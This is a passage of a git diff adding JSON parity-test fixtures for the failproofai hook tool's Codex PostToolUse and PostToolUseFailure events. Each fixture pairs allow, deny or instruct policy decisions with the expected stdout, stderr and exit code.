status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PostToolUse/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/PostToolUse/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..58d698fa --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolUse/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PostToolUse/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/PostToolUse/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..42f681b9 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolUse/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PostToolUse/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/PostToolUse/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..29cc4b94 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolUse/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PostToolUse/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/PostToolUse/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..6e50c237 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolUse/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PostToolUse/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/PostToolUse/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..21b2cee8 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolUse/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PostToolUse/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/PostToolUse/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..6154c32c --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolUse/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PostToolUse/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/PostToolUse/deny__tool-present__one-policy.json new file mode 100644 index 00000000..6da9cbf8 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolUse/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PostToolUse/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/PostToolUse/deny__tool-present__two-policies.json new file mode 100644 index 00000000..ff1d1fad --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolUse/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PostToolUse/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/PostToolUse/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..5f8bdede --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolUse/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PostToolUse/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/PostToolUse/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..13d535f3 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolUse/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PostToolUse/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/PostToolUse/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..cac10574 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolUse/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PostToolUse/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/PostToolUse/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..b419706f --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolUse/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PostToolUseFailure/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/PostToolUseFailure/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..5a9a88d5 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolUseFailure/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PostToolUseFailure/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/PostToolUseFailure/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..2d624906 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolUseFailure/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PostToolUseFailure/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/PostToolUseFailure/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..eb7a57d2 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolUseFailure/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PostToolUseFailure/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/PostToolUseFailure/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..4e5cf980 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolUseFailure/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PostToolUseFailure/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/PostToolUseFailure/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..fa2f4ffe --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolUseFailure/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PostToolUseFailure/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/PostToolUseFailure/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..18d1ec9e --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolUseFailure/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + 